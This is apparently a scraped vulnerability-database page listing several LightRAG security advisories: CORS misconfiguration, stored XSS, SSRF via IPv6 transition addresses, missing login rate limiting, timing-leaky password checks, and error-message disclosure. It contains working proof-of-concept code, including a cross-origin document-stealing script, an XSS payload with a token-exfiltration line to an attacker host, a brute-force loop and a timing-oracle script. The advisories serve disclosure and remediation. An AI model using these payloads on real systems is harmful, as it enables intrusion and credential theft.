            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

Apr 26, 2026

1.4.15 patch

7 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

